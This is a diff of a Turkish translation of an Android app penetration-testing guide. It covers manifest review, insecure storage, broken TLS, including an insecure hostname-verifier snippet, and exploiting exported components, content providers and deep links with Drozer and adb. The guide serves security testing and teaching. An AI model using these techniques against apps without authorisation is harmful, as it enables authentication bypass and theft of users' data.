- **Dışa Aktarılan Aktiviteler ve Servisler**: Manifestte dışa aktarılan aktiviteleri ve servisleri tanımlamak, kötüye kullanılabilecek bileşenleri vurgulayabilir. Dinamik testler sırasında daha fazla analiz, bu bileşenleri nasıl istismar edeceğinizi ortaya çıkarabilir.
|
||||
- **İçerik Sağlayıcıları ve FileProviders**: Açık içerik sağlayıcıları, yetkisiz erişim veya veri değişikliği izni verebilir. FileProviders'ın yapılandırması da incelenmelidir.
|
||||
- **Broadcast Alıcıları ve URL Şemaları**: Bu bileşenler istismar için kullanılabilir, özellikle URL şemalarının giriş açıkları için nasıl yönetildiğine dikkat edilmelidir.
|
||||
- **SDK Sürümleri**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` nitelikleri desteklenen Android sürümlerini gösterir ve güvenlik nedenleriyle eski, savunmasız Android sürümlerinin desteklenmemesi önemlidir.
|
||||
- **Broadcast Alıcıları ve URL Şemaları**: Bu bileşenler istismar için kullanılabilir, URL şemalarının giriş açıkları için nasıl yönetildiğine özel dikkat gösterilmelidir.
|
||||
- **SDK Versiyonları**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` nitelikleri desteklenen Android sürümlerini belirtir, güvenlik nedenleriyle eski, savunmasız Android sürümlerinin desteklenmemesinin önemini vurgular.
|
||||
|
||||
**strings.xml** dosyasından, API anahtarları, özel şemalar ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir; bu da bu kaynakların dikkatli bir şekilde gözden geçirilmesi gerektiğini vurgular.
|
||||
**strings.xml** dosyasından, API anahtarları, özel şemalar ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir, bu da bu kaynakların dikkatli bir şekilde gözden geçirilmesi gerektiğini vurgular.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
@ -100,7 +100,7 @@ tapjacking.md
|
||||
|
||||
### Görev Ele Geçirme
|
||||
|
||||
**`launchMode`**'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **aktivite**, görev ele geçirmeye karşı savunmasızdır. Bu, bir **uygulamanın** kurulabileceği ve gerçek uygulamadan önce başlatılırsa, gerçek uygulamanın görevini **ele geçirebileceği** anlamına gelir (bu durumda kullanıcı, **kötü niyetli uygulama ile etkileşimde bulunurken gerçek olanı kullandığını düşünecektir**).
|
||||
**`launchMode`**'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **aktivite**, görev ele geçirmeye karşı savunmasızdır. Bu, bir **uygulamanın** yüklenebileceği ve gerçek uygulamadan önce başlatılırsa, gerçek uygulamanın görevini **ele geçirebileceği** anlamına gelir (bu durumda kullanıcı, **kötü niyetli uygulama ile etkileşimde bulunurken gerçek uygulamayı kullanıyormuş gibi düşünecektir**).
|
||||
|
||||
Daha fazla bilgi için:
|
||||
|
||||
@ -112,7 +112,7 @@ android-task-hijacking.md
|
||||
|
||||
**Dahili Depolama**
|
||||
|
||||
Android'de, **dahili** depolamada **saklanan** dosyalar, yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi, Android işletim sistemi tarafından **uygulanır** ve çoğu uygulamanın güvenlik ihtiyaçları için genellikle yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar, bu dosyalara diğer uygulamalar, potansiyel olarak kötü niyetli olanlar da dahil olmak üzere, erişimi **kısıtlamaz**.
|
||||
Android'de, **dahili** depolamada **saklanan** dosyalar, yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi, Android işletim sistemi tarafından **uygulanır** ve genellikle çoğu uygulamanın güvenlik ihtiyaçları için yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modlar kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar, bu dosyalara diğer uygulamalar, potansiyel olarak kötü niyetli olanlar da dahil olmak üzere, erişimi **kısıtlamaz**.
|
||||
|
||||
1. **Statik Analiz:**
|
||||
- `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatlice incelenmesini** sağlayın. Bu modlar, dosyaları **istenmeyen veya yetkisiz erişime** açabilir.
|
||||
@ -127,21 +127,21 @@ Android'de, **dahili** depolamada **saklanan** dosyalar, yalnızca **oluşturan*
|
||||
- Harici depolamadaki dosyalar **genel olarak okunabilir ve yazılabilir**. Bu, herhangi bir uygulamanın veya kullanıcının bu dosyalara erişebileceği anlamına gelir.
|
||||
2. **Güvenlik Endişeleri**:
|
||||
- Erişimin kolaylığı göz önüne alındığında, **hassas bilgileri harici depolamada saklamamanız önerilir**.
|
||||
- Harici depolama, herhangi bir uygulama tarafından çıkarılabilir veya erişilebilir, bu da onu daha az güvenli hale getirir.
|
||||
- Harici depolama, herhangi bir uygulama tarafından çıkarılabilir veya erişilebilir, bu da güvenliğini azaltır.
|
||||
3. **Harici Depolamadan Veri İşleme**:
|
||||
- Harici depolamadan alınan veriler üzerinde her zaman **giriş doğrulaması** yapın. Bu, verilerin güvenilir bir kaynaktan gelmediği için kritik öneme sahiptir.
|
||||
- Dinamik yükleme için harici depolamada yürütülebilir veya sınıf dosyaları saklamak kesinlikle önerilmez.
|
||||
- Uygulamanız harici depolamadan yürütülebilir dosyalar alması gerekiyorsa, bu dosyaların **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir.
|
||||
- Uygulamanız harici depolamadan yürütülebilir dosyaları almak zorundaysa, bu dosyaların **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir.
|
||||
|
||||
Harici depolama, `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` konumlarında **erişilebilir**.
|
||||
|
||||
> [!TIP]
|
||||
> Android 4.4 (**API 17**) ile birlikte, SD kartın bir dizin yapısı vardır ve bu, **bir uygulamanın yalnızca o uygulama için özel olan dizine erişimini sınırlar**. Bu, kötü niyetli uygulamaların başka bir uygulamanın dosyalarına okuma veya yazma erişimi kazanmasını engeller.
|
||||
> Android 4.4 ile birlikte (**API 17**), SD kartın bir dizin yapısı vardır ve bu, **bir uygulamanın yalnızca o uygulama için özel olan dizine erişimini sınırlar**. Bu, kötü niyetli uygulamaların başka bir uygulamanın dosyalarına okuma veya yazma erişimi kazanmasını engeller.
|
||||
|
||||
**Açık metin olarak saklanan hassas veriler**
|
||||
|
||||
- **Paylaşılan tercihleri**: Android, her uygulamanın `/data/data/<packagename>/shared_prefs/` yolunda xml dosyalarını kolayca kaydetmesine izin verir ve bazen bu klasörde açık metin olarak hassas bilgiler bulmak mümkündür.
|
||||
- **Veritabanları**: Android, her uygulamanın `/data/data/<packagename>/databases/` yolunda sqlite veritabanlarını kolayca kaydetmesine izin verir ve bazen bu klasörde açık metin olarak hassas bilgiler bulmak mümkündür.
|
||||
- **Paylaşılan tercihleri**: Android, her uygulamanın `/data/data/<packagename>/shared_prefs/` yolunda xml dosyalarını kolayca kaydetmesine izin verir ve bazen o klasörde açık metin olarak hassas bilgiler bulmak mümkündür.
|
||||
- **Veritabanları**: Android, her uygulamanın `/data/data/<packagename>/databases/` yolunda sqlite veritabanlarını kolayca kaydetmesine izin verir ve bazen o klasörde açık metin olarak hassas bilgiler bulmak mümkündür.
|
||||
|
||||
### Kırık TLS
|
||||
|
||||
@ -152,17 +152,17 @@ Bazı nedenlerden dolayı, bazen geliştiriciler, örneğin ana bilgisayar adı
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
İyi bir test yöntemi, Burp gibi bir proxy kullanarak trafiği yakalamaya çalışmaktır; ancak cihaz içinde Burp CA'yı yetkilendirmemelisiniz. Ayrıca, Burp ile farklı bir hostname için bir sertifika oluşturabilir ve bunu kullanabilirsiniz.
|
||||
İyi bir test yöntemi, Burp gibi bir proxy kullanarak trafiği yakalamaya çalışmaktır, ancak cihaz içinde Burp CA'yı yetkilendirmeden. Ayrıca, Burp ile farklı bir hostname için bir sertifika oluşturabilir ve bunu kullanabilirsiniz.
|
||||
|
||||
### Kırık Kriptografi
|
||||
|
||||
**Zayıf Anahtar Yönetim Süreçleri**
|
||||
|
||||
Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunu kodda hardcoded/tahmin edilebilir bir anahtar ile şifreler. Bu yapılmamalıdır çünkü bazı tersine mühendislik işlemleri, saldırganların gizli bilgileri çıkarmasına olanak tanıyabilir.
|
||||
Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunu kodda hardcoded/tahmin edilebilir bir anahtar ile şifreler. Bu yapılmamalıdır çünkü bazı tersine mühendislik işlemleri, saldırganların gizli bilgileri çıkarmasına izin verebilir.
|
||||
|
||||
**Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı**
|
||||
|
||||
Geliştiriciler, yetkilendirme **kontrolleri** yapmak, **veri saklamak** veya **göndermek** için **kullanımdan kaldırılmış algoritmalar** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash'ler** kullanılıyorsa, tuz ile birlikte **brute-force saldırılarına dayanıklı** hash'ler kullanılmalıdır.
|
||||
Geliştiriciler, yetkilendirme **kontrolleri**, **veri saklama** veya **gönderme** işlemleri için **kullanımdan kaldırılmış algoritmalar** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash'ler** kullanılıyorsa, tuz ile birlikte **brute-force saldırılarına dayanıklı** hash'ler kullanılmalıdır.
|
||||
|
||||
### Diğer Kontroller
|
||||
|
||||
@ -174,7 +174,7 @@ Geliştiriciler, yetkilendirme **kontrolleri** yapmak, **veri saklamak** veya **
|
||||
|
||||
### React Native Uygulaması
|
||||
|
||||
React uygulamalarının javascript koduna kolayca erişmek için aşağıdaki sayfayı okuyun:
|
||||
React uygulamalarının javascript koduna kolayca erişmeyi öğrenmek için aşağıdaki sayfayı okuyun:
|
||||
|
||||
{{#ref}}
|
||||
react-native-application.md
|
||||
@ -182,7 +182,7 @@ react-native-application.md
|
||||
|
||||
### Xamarin Uygulamaları
|
||||
|
||||
Xamarin uygulamalarının C# koduna kolayca erişmek için aşağıdaki sayfayı okuyun:
|
||||
Xamarin uygulamalarının C# koduna kolayca erişmeyi öğrenmek için aşağıdaki sayfayı okuyun:
|
||||
|
||||
{{#ref}}
|
||||
../xamarin-apps.md
|
||||
@ -194,7 +194,7 @@ Bu [**blog yazısına**](https://clearbluejar.github.io/posts/desuperpacking-met
|
||||
|
||||
### Otomatik Statik Kod Analizi
|
||||
|
||||
[**mariana-trench**](https://github.com/facebook/mariana-trench) aracı, uygulamanın **kodunu tarayarak** **zayıflıkları** bulma yeteneğine sahiptir. Bu araç, **kullanıcı tarafından kontrol edilen** **giriş** yerlerini gösteren bir dizi **bilinen kaynak** içerir, **sink** (kötü niyetli kullanıcı girişinin zarar verebileceği **tehlikeli** **yerleri** gösterir) ve **kurallar** içerir. Bu kurallar, bir zayıflığı gösteren **kaynak-sink kombinasyonlarını** belirtir.
|
||||
[**mariana-trench**](https://github.com/facebook/mariana-trench) aracı, uygulamanın **kodunu tarayarak** **zayıflıkları** bulma yeteneğine sahiptir. Bu araç, **kullanıcı tarafından kontrol edilen** **giriş** yerlerini gösteren bir dizi **bilinen kaynak** (kaynaklar), kötü niyetli kullanıcı girişinin zarar verebileceği **tehlikeli** **yerleri** gösteren **sinkler** ve **kurallar** içerir. Bu kurallar, bir zayıflığı gösteren **kaynak-sink kombinasyonlarını** belirtir.
|
||||
|
||||
Bu bilgiyle, **mariana-trench kodu gözden geçirecek ve olası zayıflıkları bulacaktır**.
|
||||
|
||||
@ -212,8 +212,8 @@ bypass-biometric-authentication-android.md
|
||||
|
||||
- **Kod yürütme**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
- **SMS gönderme**: `sendTextMessage, sendMultipartTestMessage`
|
||||
- **Native fonksiyonlar** `native` olarak tanımlanır: `public native, System.loadLibrary, System.load`
|
||||
- [**Native fonksiyonları nasıl tersine mühendislik yapacağınızı öğrenmek için bunu okuyun**](reversing-native-libraries.md)
|
||||
- **Native fonksiyonlar** `native` olarak tanımlanmıştır: `public native, System.loadLibrary, System.load`
|
||||
- [**Native fonksiyonları tersine mühendislik yapmayı öğrenmek için bunu okuyun**](reversing-native-libraries.md)
|
||||
|
||||
### **Diğer Hileler**
|
||||
|
||||
@ -227,11 +227,11 @@ content-protocol.md
|
||||
|
||||
## Dinamik Analiz
|
||||
|
||||
> Öncelikle, uygulamayı ve tüm ortamı (Burp CA sertifikası, Drozer ve Frida başta olmak üzere) kurabileceğiniz bir ortama ihtiyacınız var. Bu nedenle, köklü bir cihaz (emüle edilmiş veya değil) son derece önerilir.
|
||||
> Öncelikle, uygulamayı ve tüm ortamı (özellikle Burp CA sertifikası, Drozer ve Frida) kurabileceğiniz bir ortama ihtiyacınız var. Bu nedenle, köklü bir cihaz (emüle edilmiş veya değil) son derece önerilir.
|
||||
|
||||
### Çevrimiçi Dinamik Analiz
|
||||
|
||||
Şurada **ücretsiz bir hesap** oluşturabilirsiniz: [https://appetize.io/](https://appetize.io). Bu platform, APK'ları **yüklemenize** ve **çalıştırmanıza** olanak tanır, bu nedenle bir APK'nın nasıl davrandığını görmek için faydalıdır.
|
||||
[https://appetize.io/](https://appetize.io) adresinde **ücretsiz bir hesap** oluşturabilirsiniz. Bu platform, APK'ları **yüklemenize** ve **çalıştırmanıza** olanak tanır, bu nedenle bir APK'nın nasıl davrandığını görmek için faydalıdır.
|
||||
|
||||
Ayrıca, uygulamanızın **loglarını** webde görebilir ve **adb** üzerinden bağlanabilirsiniz.
|
||||
|
||||
@ -244,14 +244,14 @@ ADB bağlantısı sayesinde, emülatörler içinde **Drozer** ve **Frida** kulla
|
||||
#### Bir emülatör kullanarak
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) ( **x86** ve **arm** cihazlar oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**en son x86** sürümleri **ARM kütüphanelerini** yavaş bir arm emülatörüne ihtiyaç duymadan destekler).
|
||||
- Kurulumunu bu sayfada öğrenin:
|
||||
- Bunu ayarlamayı öğrenmek için bu sayfayı okuyun:
|
||||
|
||||
{{#ref}}
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Kişisel Sürüm, bir hesap oluşturmanız gerekir. _Potansiyel hataları önlemek için **VirtualBox** ile **sürümü indirin** önerilir._)
|
||||
- [**Nox**](https://es.bignox.com) (Ücretsiz, ancak Frida veya Drozer'ı desteklemez).
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Kişisel Sürüm, bir hesap oluşturmanız gerekir. _Potansiyel hataları önlemek için **VirtualBox** ile birlikte sürümü **indirmeyi** öneririz._)
|
||||
- [**Nox**](https://es.bignox.com) (Ücretsiz, ancak Frida veya Drozer'i desteklemiyor).
|
||||
|
||||
> [!TIP]
|
||||
> Herhangi bir platformda yeni bir emülatör oluştururken, ekranın ne kadar büyük olursa, emülatörün o kadar yavaş çalışacağını unutmayın. Bu nedenle, mümkünse küçük ekranlar seçin.
|
||||
@ -264,7 +264,7 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo
|
||||
|
||||
#### Fiziksel bir cihaz kullanma
|
||||
|
||||
**Hata ayıklama** seçeneklerini etkinleştirmeniz gerekir ve cihazı **köklemek** iyi olur:
|
||||
**hata ayıklama** seçeneklerini etkinleştirmeniz gerekir ve eğer **kökleyebilirseniz** harika olur:
|
||||
|
||||
1. **Ayarlar**.
|
||||
2. (Android 8.0'dan itibaren) **Sistem**'i seçin.
|
||||
@ -272,8 +272,8 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo
|
||||
4. **Build numarasına** 7 kez basın.
|
||||
5. Geri dönün ve **Geliştirici seçeneklerini** bulacaksınız.
|
||||
|
||||
> Uygulamayı kurduktan sonra yapmanız gereken ilk şey, onu denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\
|
||||
> **Bu ilk dinamik analizi MobSF dinamik analizi + pidcat kullanarak yapmanızı öneririm**, böylece MobSF **ilginç** **verileri** toplarken uygulamanın nasıl çalıştığını **öğrenebiliriz**.
|
||||
> Uygulamayı kurduktan sonra, yapmanız gereken ilk şey, onu denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat etmek.\
|
||||
> **MobSF dinamik analizi + pidcat** kullanarak bu ilk dinamik analizi yapmanızı öneririm, böylece **uygulamanın nasıl çalıştığını öğrenebiliriz** ve MobSF **ilginç** **verileri** toplarken daha sonra gözden geçirebiliriz.
|
||||
|
||||
### İstenmeyen Veri Sızıntısı
|
||||
|
||||
@ -282,16 +282,16 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo
|
||||
Geliştiriciler, **hata ayıklama bilgilerini** kamuya açık bir şekilde ifşa etme konusunda dikkatli olmalıdır, çünkü bu hassas veri sızıntılarına yol açabilir. Uygulama günlüklerini izlemek ve hassas bilgileri korumak için [**pidcat**](https://github.com/JakeWharton/pidcat) ve `adb logcat` araçları önerilir. **Pidcat**, kullanım kolaylığı ve okunabilirliği nedeniyle tercih edilmektedir.
|
||||
|
||||
> [!WARNING]
|
||||
> **Android 4.0'dan daha yeni** sürümlerden itibaren, **uygulamalar yalnızca kendi günlüklerine erişebilir**. Yani uygulamalar diğer uygulamaların günlüklerine erişemez.\
|
||||
> **Android 4.0'dan** itibaren, **uygulamalar yalnızca kendi günlüklerine erişebilir**. Yani uygulamalar diğer uygulamaların günlüklerine erişemez.\
|
||||
> Yine de, **hassas bilgileri günlüğe kaydetmemek** önerilir.
|
||||
|
||||
**Kopyala/Yapıştır Tamponu Önbellekleme**
|
||||
|
||||
Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya **erişebileceğinden** hassas verilerin açığa çıkma riski taşır. Hassas bölümler için kopyala/yapıştır işlevlerini devre dışı bırakmak, kredi kartı bilgileri gibi, veri sızıntılarını önlemek için kritik öneme sahiptir.
|
||||
Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya erişebildiğinden, hassas verilerin açığa çıkma riski taşır. Hassas bölümler için, örneğin kredi kartı bilgileri gibi, **kopyala/yapıştır** işlevlerini devre dışı bırakmak kritik öneme sahiptir.
|
||||
|
||||
**Çökme Günlükleri**
|
||||
|
||||
Bir uygulama **çökerse** ve **günlükleri kaydederse**, bu günlükler saldırganlara yardımcı olabilir, özellikle uygulama tersine mühendislik yapılamıyorsa. Bu riski azaltmak için, çökme durumunda günlüğe kaydetmekten kaçının ve eğer günlükler ağ üzerinden iletilmesi gerekiyorsa, güvenlik için SSL kanalı üzerinden gönderildiğinden emin olun.
|
||||
Bir uygulama **çökerse** ve **günlükleri kaydederse**, bu günlükler saldırganlara yardımcı olabilir, özellikle uygulama tersine mühendislik yapılamıyorsa. Bu riski azaltmak için, çökme durumunda günlük kaydetmekten kaçının ve eğer günlükler ağ üzerinden iletilmesi gerekiyorsa, güvenlik için SSL kanalı üzerinden gönderildiğinden emin olun.
|
||||
|
||||
Pentester olarak, **bu günlükleri gözden geçirmeye çalışın**.
|
||||
|
||||
@ -308,33 +308,33 @@ Eğer veritabanı gizli bilgileri saklıyorsa ve **şifrelenmişse** ancak uygul
|
||||
|
||||
Tabloları `.tables` ile listeleyin ve tabloların sütunlarını `.schema <table_name>` ile listeleyin.
|
||||
|
||||
### Drozer (Saldırı Aktiviteleri, İçerik Sağlayıcıları ve Hizmetler)
|
||||
### Drozer (Saldırı Aktiviteleri, İçerik Sağlayıcıları ve Servisler)
|
||||
|
||||
[Drozer Belgeleri](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)'nden: **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Yüklenmiş bir uygulamanın yapabileceği her şeyi yapabilir, örneğin Android’in Araçlar Arası İletişim (IPC) mekanizmasını kullanabilir ve altındaki işletim sistemiyle etkileşimde bulunabilir.\
|
||||
Drozer, **ihracat edilmiş aktiviteleri, ihracat edilmiş hizmetleri ve İçerik Sağlayıcıları** istismar etmek için faydalı bir araçtır, bunu aşağıdaki bölümlerde öğreneceksiniz.
|
||||
[Drozer Belgeleri](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)'nden: **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Yüklenmiş bir uygulamanın yapabileceği her şeyi yapabilir, örneğin Android’in Araçlar Arası İletişim (IPC) mekanizmasını kullanabilir ve temel işletim sistemi ile etkileşimde bulunabilir.\
|
||||
Drozer, **ihracat yapılmış aktiviteleri, ihracat yapılmış servisleri ve İçerik Sağlayıcıları** istismar etmek için yararlı bir araçtır, bunu aşağıdaki bölümlerde öğreneceksiniz.
|
||||
|
||||
### İhracat Edilmiş Aktiviteleri İstismar Etme
|
||||
### İhracat Yapılmış Aktiviteleri İstismar Etme
|
||||
|
||||
[**Bir Android Aktivitesinin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Ayrıca, bir aktivitenin kodunun **`onCreate`** metodunda başladığını unutmayın.
|
||||
|
||||
**Yetkilendirme atlatma**
|
||||
|
||||
Bir Aktivite ihracat edildiğinde, dış bir uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgiler** içeren bir aktivite **ihracat edildiğinde**, **ona erişmek için** **kimlik doğrulama** mekanizmalarını **atlatabilirsiniz.**
|
||||
Bir Aktivite ihracat yapıldığında, dış bir uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgileri** içeren bir aktivite **ihracat** edilmişse, **kimlik doğrulama** mekanizmalarını **atlatabilirsiniz.**
|
||||
|
||||
[**Drozer ile ihracat edilmiş aktiviteleri nasıl istismar edeceğinizi öğrenin.**](drozer-tutorial/index.html#activities)
|
||||
[**Drozer ile ihracat yapılmış aktiviteleri nasıl istismar edeceğinizi öğrenin.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
Ayrıca, adb'den ihracat edilmiş bir aktivite başlatabilirsiniz:
|
||||
Ayrıca, adb'den ihracat yapılmış bir aktivite başlatabilirsiniz:
|
||||
|
||||
- Paket Adı com.example.demo
|
||||
- İhracat Edilmiş Aktivite Adı com.example.test.MainActivity
|
||||
- İhracat Yapılmış Aktivite Adı com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**NOT**: MobSF, bir aktivitede `android:launchMode` olarak _**singleTask/singleInstance**_ kullanımını kötü niyetli olarak tespit edecektir, ancak [bu](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) nedeniyle, görünüşe göre bu yalnızca eski sürümlerde (API sürümleri < 21) tehlikelidir.
|
||||
|
||||
> [!İPUCU]
|
||||
> Bir yetkilendirme atlamasının her zaman bir zafiyet olmadığını unutmayın, bu atlamanın nasıl çalıştığına ve hangi bilgilerin açığa çıktığına bağlıdır.
|
||||
> Bir yetkilendirme atlamanın her zaman bir zafiyet olmadığını unutmayın, bu atlamanın nasıl çalıştığına ve hangi bilgilerin açığa çıktığına bağlıdır.
|
||||
|
||||
**Hassas bilgi sızıntısı**
|
||||
|
||||
@ -347,7 +347,7 @@ Eğer tapjacking engellenmezse, dışa aktarılmış aktiviteyi **kullanıcını
|
||||
### İçerik Sağlayıcılarını Sömürme - Hassas bilgilere erişim ve manipülasyon
|
||||
|
||||
[**Bir İçerik Sağlayıcının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#content-provider)\
|
||||
İçerik sağlayıcılar temelde **veri paylaşmak** için kullanılır. Eğer bir uygulamada mevcut içerik sağlayıcılar varsa, onlardan **hassas** verileri **çıkartma** imkanınız olabilir. Ayrıca, olası **SQL enjeksiyonlarını** ve **Path Traversals** test etmek de ilginçtir çünkü bunlar zayıf olabilir.
|
||||
İçerik sağlayıcılar temelde **veri paylaşmak** için kullanılır. Eğer bir uygulamanın mevcut içerik sağlayıcıları varsa, onlardan **hassas** verileri **çıkarma** imkanınız olabilir. Ayrıca, olası **SQL enjeksiyonlarını** ve **Path Traversals** test etmek de ilginçtir çünkü bunlar savunmasız olabilir.
|
||||
|
||||
[**Drozer ile İçerik Sağlayıcıları nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
@ -356,7 +356,7 @@ Eğer tapjacking engellenmezse, dışa aktarılmış aktiviteyi **kullanıcını
|
||||
[**Bir Servisin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#services)\
|
||||
Bir Servisin eylemlerinin `onStartCommand` metodunda başladığını unutmayın.
|
||||
|
||||
Servis, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** (ya da döndürmeyen) bir şeydir. Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodunu kontrol etmeli** ve gizli bilgileri çıkartmak, kimlik doğrulama önlemlerini atlamak için **dinamik olarak test etmelisiniz**...\
|
||||
Servis, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** (ya da döndürmeyen) bir şeydir. Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodunu kontrol etmeli** ve **gizli bilgileri çıkarmak, kimlik doğrulama önlemlerini atlamak...** için **dinamik olarak test etmelisiniz**.\
|
||||
[**Drozer ile Hizmetleri nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Broadcast Alıcılarını Sömürme**
|
||||
@ -364,17 +364,17 @@ Servis, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren**
|
||||
[**Bir Broadcast Alıcının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Bir Broadcast Alıcının eylemlerinin `onReceive` metodunda başladığını unutmayın.
|
||||
|
||||
Bir broadcast alıcısı bir tür mesaj bekleyecektir. Alıcının mesajı nasıl işlediğine bağlı olarak, zayıf olabilir.\
|
||||
Bir yayın alıcısı bir tür mesaj bekleyecektir. Alıcının mesajı nasıl işlediğine bağlı olarak savunmasız olabilir.\
|
||||
[**Drozer ile Broadcast Alıcılarını nasıl sömüreceğinizi öğrenin.**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **Şemaları / Derin bağlantıları Sömürme**
|
||||
|
||||
Derin bağlantıları manuel olarak, MobSF gibi araçlar veya [bu gibi](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) betikler kullanarak arayabilirsiniz.\
|
||||
Bir tanımlı **şemayı** **adb** veya bir **tarayıcı** kullanarak **açabilirsiniz**:
|
||||
Derin bağlantıları manuel olarak, MobSF gibi araçlar veya [bu](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) gibi betikler kullanarak arayabilirsiniz.\
|
||||
Bir tanımlanmış **şemayı** **adb** veya bir **tarayıcı** kullanarak **açabilirsiniz**:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
_Dikkat edin ki, **paket adını atlayabilirsiniz** ve mobil, o bağlantıyı açması gereken uygulamayı otomatik olarak çağıracaktır._
|
||||
_Not edin ki **paket adını atlayabilirsiniz** ve mobil, o bağlantıyı açması gereken uygulamayı otomatik olarak çağıracaktır._
|
||||
```html
|
||||
<!-- Browser regular link -->
|
||||
<a href="scheme://hostname/path?param=value">Click me</a>
|
||||
@ -402,13 +402,13 @@ Bağlantılar hakkında [ilginç bir hata avı raporu](https://hackerone.com/rep
|
||||
|
||||
### Taşıma Katmanı İncelemesi ve Doğrulama Hataları
|
||||
|
||||
- **Sertifikalar her zaman düzgün bir şekilde incelenmez** Android uygulamaları tarafından. Bu uygulamaların uyarıları göz ardı etmesi ve kendinden imzalı sertifikaları kabul etmesi veya bazı durumlarda HTTP bağlantılarına geri dönmesi yaygındır.
|
||||
- **Sertifikalar her zaman doğru bir şekilde incelenmez** Android uygulamaları tarafından. Bu uygulamaların uyarıları göz ardı etmesi ve kendinden imzalı sertifikaları kabul etmesi veya bazı durumlarda HTTP bağlantılarına geri dönmesi yaygındır.
|
||||
- **SSL/TLS el sıkışması sırasında müzakereler bazen zayıftır**, güvensiz şifreleme takımları kullanır. Bu zayıflık, bağlantıyı adam ortası (MITM) saldırılarına karşı savunmasız hale getirir ve saldırganların verileri şifrelerini çözmesine olanak tanır.
|
||||
